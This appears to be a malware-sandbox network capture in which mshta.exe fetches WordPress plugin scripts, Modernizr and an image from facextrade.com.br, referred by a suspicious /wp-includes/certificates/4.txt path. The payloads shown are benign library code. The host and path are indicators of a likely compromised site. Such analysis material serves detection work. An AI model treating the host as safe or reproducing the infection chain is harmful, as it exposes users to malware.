Aug 16, 2022 11:44:59.926737070 CEST	2444	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:34:50 GMT Server: Apache ETag: "a5353d-4343-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 17219 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588054 17189012 Age: 610 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 77 69 6e 64 6f 77 2e 64 65 66 69 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 2e 70 6f 70 28 29 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 7d 3b 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 2e 63 6c 65 61 6e 44 61 74 61 29 7b 76 61 72 20 63 3d 61 2e 63 6c 65 61 6e 44 61 74 61 3b 61 2e 63 6c 65 61 6e 44 61 74 61 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 3b 28 65 3d 62 5b 64 5d 29 21 3d 6e 75 6c 6c 3b 64 2b 2b 29 7b 61 28 65 29 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 22 72 65 6d 6f 76 65 22 29 7d 63 28 62 29 7d 7d 65 6c 73 65 7b 76 61 72 20 64 3d 61 2e 66 6e 2e 72 65 6d 6f 76 65 3b 61 2e 66 6e 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 63 29 7b 69 66 28 21 62 7c 7c 61 2e 66 69 6c 74 65 72 28 62 2c 5b 74 68 69 73 5d 29 2e 6c 65 6e 67 74 68 29 7b 61 28 22 2a 22 2c 74 68 69 73 29 2e 61 64 64 28 5b 74 68 69 73 5d 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 28 74 68 69 73 29 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 22 72 65 6d 6f 76 65 22 29 7d 29 7d 7d 72 65 74 75 72 6e 20 64 2e 63 61 6c 6c 28 61 28 74 68 69 73 29 2c 62 2c 63 29 7d 29 7d 7d 61 2e 77 69 64 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 2c 64 29 7b 76 61 72 20 65 3d 62 2e 73 70 6c 69 74 28 22 2e 22 29 5b 30 5d 2c 66 3b 62 3d 62 2e 73 70 6c 69 74 28 22 2e 22 29 5b 31 5d 3b 66 3d 65 2b 22 2d 22 2b 62 3b 69 66 28 21 64 29 7b 64 3d 63 3b 63 3d 61 2e 57 69 64 67 65 74 7d 61 2e 65 78 70 72 5b 22 3a 22 5d 5b 66 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 21 21 61 2e 64 61 74 61 28 63 2c 62 29 7d 3b 61 5b 65 5d 3d 61 5b 65 5d 7c 7c 7b 7d 3b 61 5b 65 5d 5b 62 5d 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 74 68 69 73 2e 5f 63 72 65 61 74 65 57 69 64 67 65 74 28 61 2c 62 29 7d 7d 3b 76 61 72 20 67 3d 6e 65 77 20 63 3b 67 2e 6f 70 74 69 6f 6e 73 3d 61 2e 65 78 74 65 6e 64 28 74 72 75 65 2c 7b 7d 2c 67 2e 6f 70 74 69 6f 6e 73 29 3b 61 5b 65 5d 5b 62 5d 2e 70 72 6f 74 6f 74 79 70 65 3d 61 2e 65 78 74 65 6e 64 28 74 72 75 65 2c 67 2c 7b 6e 61 6d 65 73 70 61 63 65 3a 65 2c 77 69 64 67 65 74 4e 61 6d 65 3a 62 2c 77 69 64 67 65 74 45 76 65 6e 74 50 72 65 66 69 78 3a 61 5b 65 5d 5b 62 5d 2e 70 72 6f 74 6f 74 79 70 65 2e 77 69 64 67 65 74 45 76 65 6e 74 50 72 65 66 69 78 7c 7c 62 2c 77 69 64 67 65 74 42 61 73 65 43 6c 61 73 73 3a 66 7d 2c 64 29 3b 61 2e 77 69 64 67 65 74 2e 62 72 69 64 67 65 28 62 2c 61 5b 65 5d 5b 62 5d 29 7d 3b 61 2e 77 69 64 67 65 74 2e 62 72 69 64 67 65 3d 66 Data Ascii: window.define=function(){Array.prototype.slice.call(arguments).pop()(window.jQuery)};define(["jquery"],function(a){(function(a,b){if(a.cleanData){var c=a.cleanData;a.cleanData=function(b){for(var d=0,e;(e=b[d])!=null;d++){a(e).triggerHandler("remove")}c(b)}}else{var d=a.fn.remove;a.fn.remove=function(b,c){return this.each(function(){if(!c){if(!b\|\|a.filter(b,[this]).length){a("*",this).add([this]).each(function(){a(this).triggerHandler("remove")})}}return d.call(a(this),b,c)})}}a.widget=function(b,c,d){var e=b.split(".")[0],f;b=b.split(".")[1];f=e+"-"+b;if(!d){d=c;c=a.Widget}a.expr[":"][f]=function(c){return!!a.data(c,b)};a[e]=a[e]\|\|{};a[e][b]=function(a,b){if(arguments.length){this._createWidget(a,b)}};var g=new c;g.options=a.extend(true,{},g.options);a[e][b].prototype=a.extend(true,g,{namespace:e,widgetName:b,widgetEventPrefix:a[e][b].prototype.widgetEventPrefix\|\|b,widgetBaseClass:f},d);a.widget.bridge(b,a[e][b])};a.widget.bridge=f
Aug 16, 2022 11:44:59.931888103 CEST	2461	OUT	GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:00.174053907 CEST	2486	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:35:18 GMT Server: Apache ETag: "a508ae-2af-5c93d38583b98" Last-Modified: Tue, 10 Aug 2021 23:54:19 GMT Content-Length: 687 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588056 15664750 Age: 581 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 20 63 48 52 4d 00 00 7a 25 00 00 80 83 00 00 f9 ff 00 00 80 e9 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 6f 92 5f c5 46 00 00 02 35 49 44 41 54 78 da a4 93 4b 48 54 61 18 86 9f ff 9c a3 73 9c 71 9c 46 87 69 6c 2a 24 45 85 49 a6 8c 88 dc b6 69 53 64 b4 ef b2 aa 2c a4 65 50 46 3b 77 81 8b 16 ad 82 68 57 b6 8a 88 10 91 86 26 cc 10 25 1a ac c6 b2 1a e7 e2 05 cd b9 9c cb 9c f3 b7 11 b5 cb 46 fc 36 df e2 fd 78 78 f9 78 5f 21 a5 64 27 23 80 5a a0 7e 7d 6f 67 2c a0 a8 01 81 b3 cf ee 14 fe 56 25 60 3a 0a 20 f0 28 0e 42 fc 4b 18 ee bd 1b d6 00 9f e3 3a c4 c3 ad 1b 82 2d 15 14 24 c7 23 cb 28 42 f2 26 d7 44 d5 15 d4 2a ee c6 cd 54 21 0d e0 d3 00 d5 76 1d d6 ac 32 8b 95 22 86 a3 d2 16 58 e3 cc be 3c 4d a6 00 09 91 e8 67 86 7f ee 26 b5 e4 a7 4e 73 68 aa ab c7 76 1d 00 55 03 30 6d 8b 42 b9 42 d1 2a d1 db 92 e5 74 74 89 a1 c7 3d 8c be db 03 55 49 77 57 96 9b 17 93 bc 6a 08 f2 24 dd 8c 23 55 4c db 02 40 03 28 1b 26 91 70 8e f3 b1 0f 74 45 f2 bc 48 9e 62 b6 12 e7 58 0f e4 97 4a 8c bc df 4f d0 3b cf ed fe 31 ba 77 7d e7 61 fa 20 b3 0b 5b 00 2d 9e 45 06 e2 53 34 e8 05 b0 55 ee 3f 2a 32 3a 91 c2 1f 74 69 8e 7a d9 db 11 e0 47 29 4c 75 25 43 67 e8 1b 03 fe 39 ae 2d c4 49 02 0a c0 64 41 e5 72 22 c6 e4 7c 23 e8 15 0e 75 64 70 ab 1e 4a e5 2a 5f 66 7e 31 fa 7c 85 c3 07 f2 68 81 32 1f 73 01 fa 12 31 92 59 6d d3 81 69 18 bc ce 35 90 c8 1e e1 6a ec 2b 57 ce bd 65 7a 26 c4 cb 64 1b a8 0a 27 8e 7e e2 64 f7 53 86 26 da b9 37 dd 8a 8d 8f 5a 63 75 13 60 19 06 5e c5 4b b9 2a 18 9c 6c 67 64 3e c4 8d fe 31 6e 5d 48 80 14 ac 06 2d ae a7 62 24 32 21 7c 35 55 7c 9a 4d d9 30 b6 38 b0 2c 74 24 ba a6 a2 6b 92 d4 72 88 be f1 46 2e 75 ce e1 a9 71 79 30 de 42 c5 56 09 d5 39 80 8a 8b c4 b4 36 9f 68 49 c7 65 25 9d fd 23 65 15 60 70 46 07 40 57 73 08 21 31 ff 13 67 01 04 80 28 e0 df 66 17 d6 80 8c 00 d4 f5 22 a9 db 04 38 80 25 76 5a e7 df 03 00 ff a6 e7 ee 3e 29 e0 82 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRapHYs cHRMz%u0`:o_F5IDATxKHTasqFil$EIiSd,ePF;whW&%F6xxx_!d'#Z~}og,V%`: (BK:-$#(B&DT!v2"X<Mg&NshvU0mBBtt=UIwWj$#UL@(&ptEHbXJO;1w}a [-ES4U?2:tizG)Lu%Cg9-IdAr"\|#udpJ_f~1\|h2s1Ymi5j+Wez&d'~dS&7Zcu`^Klgd>1n]H-b$2!\|5U\|M08,t$krF.uqy0BV96hIe%#e`pF@Ws!1g(f"8%vZ>)IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	49797	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:58.055170059 CEST	2166	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:58.271569967 CEST	2181	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:39 GMT Server: Apache ETag: "a51459-15f88-5c93d38d98e41" Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT Content-Length: 89992 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383401 22395057 Age: 319 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 76 32 2e 33 2e 34 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2d 32 30 31 38 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 3a 20 53 45 45 20 4c 49 43 45 4e 53 45 20 49 4e 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 4f 77 6c 43 61 72 6f 75 73 65 6c 32 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 0a 20 2a 2f 0a 2f 2a 2a 0a 20 2a 20 4f 77 6c 20 63 61 72 6f 75 73 65 6c 0a 20 2a 20 40 76 65 72 73 69 6f 6e 20 32 2e 33 2e 34 0a 20 2a 20 40 61 75 74 68 6f 72 20 42 61 72 74 6f 73 7a 20 57 6f 6a 63 69 65 63 68 6f 77 73 6b 69 0a 20 2a 20 40 61 75 74 68 6f 72 20 44 61 76 69 64 20 44 65 75 74 73 63 68 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 54 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 4d 49 54 29 0a 20 2a 20 40 74 6f 64 6f 20 4c 61 7a 79 20 4c 6f 61 64 20 49 63 6f 6e 0a 20 2a 20 40 74 6f 64 6f 20 70 72 65 76 65 6e 74 20 61 6e 69 6d 61 74 69 6f 6e 65 6e 64 20 62 75 62 6c 69 6e 67 0a 20 2a 20 40 74 6f 64 6f 20 69 74 65 6d 73 53 63 61 6c 65 55 70 0a 20 2a 20 40 74 6f 64 6f 20 54 65 73 74 20 5a 65 70 74 6f 0a 20 2a 20 40 74 6f 64 6f 20 73 74 61 67 65 50 61 64 64 69 6e 67 20 63 61 6c 63 75 6c 61 74 65 20 77 72 6f 6e 67 20 61 63 74 69 76 65 20 63 6c 61 73 73 65 73 0a 20 2a 2f 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 24 2c 20 77 69 6e 64 6f 77 2c 20 64 6f 63 75 6d 65 6e 74 2c 20 75 6e 64 65 66 69 6e 65 64 29 20 7b 0a 0a 09 2f 2a 2a 0a 09 20 2a 20 43 72 65 61 74 65 73 20 61 20 63 61 72 6f 75 73 65 6c 2e 0a 09 20 2a 20 40 63 6c 61 73 73 20 54 68 65 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 2e 0a 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 48 54 4d 4c 45 6c 65 6d 65 6e 74 7c 6a 51 75 65 72 79 7d 20 65 6c 65 6d 65 6e 74 20 2d 20 54 68 65 20 65 6c 65 6d 65 6e 74 20 74 6f 20 63 72 65 61 74 65 20 74 68 65 20 63 61 72 6f 75 73 65 6c 20 66 6f 72 2e 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 4f 62 6a 65 63 74 7d 20 5b 6f 70 74 69 6f 6e 73 5d 20 2d 20 54 68 65 20 6f 70 74 69 6f 6e 73 0a 09 20 2a 2f 0a 09 66 75 6e 63 74 69 6f 6e 20 4f 77 6c 28 65 6c 65 6d 65 6e 74 2c 20 6f 70 74 69 6f 6e 73 29 20 7b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 43 75 72 72 65 6e 74 20 73 65 74 74 69 6e 67 73 20 66 6f 72 20 74 68 65 20 63 61 72 6f 75 73 65 6c 2e 0a 09 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 73 65 74 74 69 6e 67 73 20 3d 20 6e 75 6c 6c 3b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 43 75 72 72 65 6e 74 20 6f 70 74 69 6f 6e 73 20 73 65 74 20 62 79 20 74 68 65 20 63 61 6c 6c 65 72 20 69 6e 63 6c 75 64 69 6e 67 20 64 65 66 61 75 6c 74 73 2e 0a 09 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 6f 70 74 69 6f 6e 73 20 3d 20 24 2e 65 78 74 65 6e 64 28 7b 7d 2c 20 4f Data Ascii: /** * Owl Carousel v2.3.4 * Copyright 2013-2018 David Deutsch * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE //* * Owl carousel * @version 2.3.4 * @author Bartosz Wojciechowski * @author David Deutsch * @license The MIT License (MIT) * @todo Lazy Load Icon * @todo prevent animationend bubling * @todo itemsScaleUp * @todo Test Zepto * @todo stagePadding calculate wrong active classes /;(function($, window, document, undefined) {/* * Creates a carousel. * @class The Owl Carousel. * @public * @param {HTMLElement\|jQuery} element - The element to create the carousel for. * @param {Object} [options] - The options /function Owl(element, options) {/* * Current settings for the carousel. * @public /this.settings = null;/* * Current options set by the caller including defaults. * @public */this.options = $.extend({}, O
Aug 16, 2022 11:44:58.271596909 CEST	2183	IN	Data Raw: 77 6c 2e 44 65 66 61 75 6c 74 73 2c 20 6f 70 74 69 6f 6e 73 29 3b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 50 6c 75 67 69 6e 20 65 6c 65 6d 65 6e 74 2e 0a 09 09 20 2a 20 40 70 75 62 6c 69 63 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 24 65 6c 65 6d Data Ascii: wl.Defaults, options);/** * Plugin element. * @public /this.$element = $(element);/* * Proxied event handlers. * @protected /this._handlers = {};/* * References to the running plugins of this carousel
Aug 16, 2022 11:44:58.271625042 CEST	2184	IN	Data Raw: 65 63 74 65 64 0a 09 09 20 2a 2f 0a 09 09 74 68 69 73 2e 5f 69 6e 76 61 6c 69 64 61 74 65 64 20 3d 20 7b 7d 3b 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 4f 72 64 65 72 65 64 20 6c 69 73 74 20 6f 66 20 77 6f 72 6b 65 72 73 20 66 6f 72 20 74 68 65 20 Data Ascii: ected /this._invalidated = {};/* * Ordered list of workers for the update process. * @protected /this._pipe = [];/* * Current state information for the drag operation. * @todo #261 * @protected */th
Aug 16, 2022 11:44:58.271656036 CEST	2186	IN	Data Raw: 20 74 72 75 65 2c 0a 09 09 70 75 6c 6c 44 72 61 67 3a 20 74 72 75 65 2c 0a 09 09 66 72 65 65 44 72 61 67 3a 20 66 61 6c 73 65 2c 0a 0a 09 09 6d 61 72 67 69 6e 3a 20 30 2c 0a 09 09 73 74 61 67 65 50 61 64 64 69 6e 67 3a 20 30 2c 0a 0a 09 09 6d 65 Data Ascii: true,pullDrag: true,freeDrag: false,margin: 0,stagePadding: 0,merge: false,mergeFit: true,autoWidth: false,startPosition: 0,rtl: false,smartSpeed: 250,fluidSpeed: false,dragEndSpeed: false,responsiv
Aug 16, 2022 11:44:58.271740913 CEST	2187	IN	Data Raw: 27 2c 20 27 73 65 74 74 69 6e 67 73 27 20 5d 2c 0a 09 09 72 75 6e 3a 20 66 75 6e 63 74 69 6f 6e 28 63 61 63 68 65 29 20 7b 0a 09 09 09 63 61 63 68 65 2e 63 75 72 72 65 6e 74 20 3d 20 74 68 69 73 2e 5f 69 74 65 6d 73 20 26 26 20 74 68 69 73 2e 5f Data Ascii: ', 'settings' ],run: function(cache) {cache.current = this._items && this._items[this.relative(this._current)];}}, {filter: [ 'items', 'settings' ],run: function() {this.$stage.children('.cloned').remove();}}, {fi
Aug 16, 2022 11:44:58.271766901 CEST	2188	IN	Data Raw: 09 09 09 09 69 74 65 6d 73 20 3d 20 74 68 69 73 2e 5f 69 74 65 6d 73 2c 0a 09 09 09 09 73 65 74 74 69 6e 67 73 20 3d 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2c 0a 09 09 09 09 2f 2f 20 54 4f 44 4f 3a 20 53 68 6f 75 6c 64 20 62 65 20 63 6f 6d 70 Data Ascii: items = this._items,settings = this.settings,// TODO: Should be computed from number of min width items in stageview = Math.max(settings.items * 2, 4),size = Math.ceil(items.length / 2) * 2,repeat = settings.loop &
Aug 16, 2022 11:44:58.271843910 CEST	2190	IN	Data Raw: 6f 6f 72 64 69 6e 61 74 65 73 20 3d 20 63 6f 6f 72 64 69 6e 61 74 65 73 3b 0a 09 09 7d 0a 09 7d 2c 20 7b 0a 09 09 66 69 6c 74 65 72 3a 20 5b 20 27 77 69 64 74 68 27 2c 20 27 69 74 65 6d 73 27 2c 20 27 73 65 74 74 69 6e 67 73 27 20 5d 2c 0a 09 09 Data Ascii: oordinates = coordinates;}}, {filter: [ 'width', 'items', 'settings' ],run: function() {var padding = this.settings.stagePadding,coordinates = this._coordinates,css = {'width': Math.ceil(Math.abs(coordinates[coor
Aug 16, 2022 11:44:58.271871090 CEST	2191	IN	Data Raw: 2e 5f 63 75 72 72 65 6e 74 29 29 3b 0a 09 09 7d 0a 09 7d 2c 20 7b 0a 09 09 66 69 6c 74 65 72 3a 20 5b 20 27 77 69 64 74 68 27 2c 20 27 70 6f 73 69 74 69 6f 6e 27 2c 20 27 69 74 65 6d 73 27 2c 20 27 73 65 74 74 69 6e 67 73 27 20 5d 2c 0a 09 09 72 Data Ascii: ._current));}}, {filter: [ 'width', 'position', 'items', 'settings' ],run: function() {var rtl = this.settings.rtl ? 1 : -1,padding = this.settings.stagePadding * 2,begin = this.coordinates(this.current()) + padding,
Aug 16, 2022 11:44:58.272018909 CEST	2193	IN	Data Raw: 3c 27 20 2b 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 73 74 61 67 65 45 6c 65 6d 65 6e 74 20 2b 20 27 3e 27 2c 20 7b 0a 09 09 09 22 63 6c 61 73 73 22 3a 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 73 74 61 67 65 43 6c 61 73 73 0a 09 09 7d 29 Data Ascii: <' + this.settings.stageElement + '>', {"class": this.settings.stageClass}).wrap( $( '<div/>', {"class": this.settings.stageOuterClass}));// append stagethis.$element.append(this.$stage.parent());};/** * Create item
Aug 16, 2022 11:44:58.272043943 CEST	2194	IN	Data Raw: 65 6e 74 2e 66 69 6e 64 28 27 69 6d 67 27 29 3b 0a 09 09 09 6e 65 73 74 65 64 53 65 6c 65 63 74 6f 72 20 3d 20 74 68 69 73 2e 73 65 74 74 69 6e 67 73 2e 6e 65 73 74 65 64 49 74 65 6d 53 65 6c 65 63 74 6f 72 20 3f 20 27 2e 27 20 2b 20 74 68 69 73 Data Ascii: ent.find('img');nestedSelector = this.settings.nestedItemSelector ? '.' + this.settings.nestedItemSelector : undefined;width = this.$element.children(nestedSelector).width();if (imgs.length && width <= 0) {this.preloadAutoWid
Aug 16, 2022 11:44:58.488063097 CEST	2223	IN	Data Raw: 09 09 09 69 66 20 28 62 72 65 61 6b 70 6f 69 6e 74 20 3c 3d 20 76 69 65 77 70 6f 72 74 20 26 26 20 62 72 65 61 6b 70 6f 69 6e 74 20 3e 20 6d 61 74 63 68 29 20 7b 0a 09 09 09 09 09 6d 61 74 63 68 20 3d 20 4e 75 6d 62 65 72 28 62 72 65 61 6b 70 6f Data Ascii: if (breakpoint <= viewport && breakpoint > match) {match = Number(breakpoint);}});settings = $.extend({}, this.options, overwrites[match]);if (typeof settings.stagePadding === 'function') {settings.stagePadding
Aug 16, 2022 11:44:58.877459049 CEST	2331	OUT	GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:59.095828056 CEST	2338	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:40 GMT Server: Apache ETag: "a53560-301a-58592d4b67500" Last-Modified: Tue, 02 Apr 2019 21:29:24 GMT Content-Length: 12314 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383403 22395059 Age: 319 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 3b 77 69 6e 64 6f 77 2e 4d 6f 64 65 72 6e 69 7a 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 42 28 61 29 7b 6a 2e 63 73 73 54 65 78 74 3d 61 7d 66 75 6e 63 74 69 6f 6e 20 43 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 42 28 6e 2e 6a 6f 69 6e 28 61 2b 22 3b 22 29 2b 28 62 7c 7c 22 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 3d 3d 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 45 28 61 2c 62 29 7b 72 65 74 75 72 6e 21 21 7e 28 22 22 2b 61 29 2e 69 6e 64 65 78 4f 66 28 62 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 64 20 69 6e 20 61 29 7b 76 61 72 20 65 3d 61 5b 64 5d 3b 69 66 28 21 45 28 65 2c 22 2d 22 29 26 26 6a 5b 65 5d 21 3d 3d 63 29 72 65 74 75 72 6e 20 62 3d 3d 22 70 66 78 22 3f 65 3a 21 30 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 47 28 61 2c 62 2c 64 29 7b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 61 29 7b 76 61 72 20 66 3d 62 5b 61 5b 65 5d 5d 3b 69 66 28 66 21 3d 3d 63 29 72 65 74 75 72 6e 20 64 3d 3d 3d 21 31 3f 61 5b 65 5d 3a 44 28 66 2c 22 66 75 6e 63 74 69 6f 6e 22 29 3f 66 2e 62 69 6e 64 28 64 7c 7c 62 29 3a 66 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 48 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 61 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 61 2e 73 6c 69 63 65 28 31 29 2c 65 3d 28 61 2b 22 20 22 2b 70 2e 6a 6f 69 6e 28 64 2b 22 20 22 29 2b 64 29 2e 73 70 6c 69 74 28 22 20 22 29 3b 72 65 74 75 72 6e 20 44 28 62 2c 22 73 74 72 69 6e 67 22 29 7c 7c 44 28 62 2c 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 46 28 65 2c 62 29 3a 28 65 3d 28 61 2b 22 20 22 2b 71 2e 6a 6f 69 6e 28 64 2b 22 20 22 29 2b 64 29 2e 73 70 6c 69 74 28 22 20 22 29 2c 47 28 65 2c 62 2c 63 29 29 7d 66 75 6e 63 74 69 6f 6e 20 49 28 29 7b 65 2e 69 6e 70 75 74 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 3d 63 2e 6c 65 6e 67 74 68 3b 64 3c 65 3b 64 2b 2b 29 74 5b 63 5b 64 5d 5d 3d 63 5b 64 5d 69 6e 20 6b 3b 72 65 74 75 72 6e 20 74 2e 6c 69 73 74 26 26 28 74 2e 6c 69 73 74 3d 21 21 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 61 74 61 6c 69 73 74 22 29 26 26 21 21 61 2e 48 54 4d 4c 44 61 74 61 4c 69 73 74 45 6c 65 6d 65 6e 74 29 2c 74 7d 28 22 61 75 74 6f 63 6f 6d 70 6c 65 74 65 20 61 75 74 6f 66 6f 63 75 73 20 6c 69 73 74 20 70 6c 61 63 65 68 6f 6c 64 65 72 20 6d 61 78 20 6d 69 6e 20 6d 75 6c 74 69 70 6c 65 20 70 61 74 74 65 72 6e 20 72 65 71 75 69 72 65 64 20 73 74 65 70 22 2e 73 70 6c 69 74 28 22 20 22 29 29 2c 65 2e 69 6e 70 75 74 74 79 70 65 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 2c 66 2c 68 2c 69 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 69 3b 64 2b 2b 29 6b 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 66 3d 61 5b 64 5d 29 2c 65 3d 6b 2e 74 79 70 Data Ascii: ;window.Modernizr=function(a,b,c){function B(a){j.cssText=a}function C(a,b){return B(n.join(a+";")+(b\|\|""))}function D(a,b){return typeof a===b}function E(a,b){return!!~(""+a).indexOf(b)}function F(a,b){for(var d in a){var e=a[d];if(!E(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function G(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:D(f,"function")?f.bind(d\|\|b):f}return!1}function H(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");return D(b,"string")\|\|D(b,"undefined")?F(e,b):(e=(a+" "+q.join(d+" ")+d).split(" "),G(e,b,c))}function I(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)t[c[d]]=c[d]in k;return t.list&&(t.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),t}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,f,h,i=a.length;d<i;d++)k.setAttribute("type",f=a[d]),e=k.typ
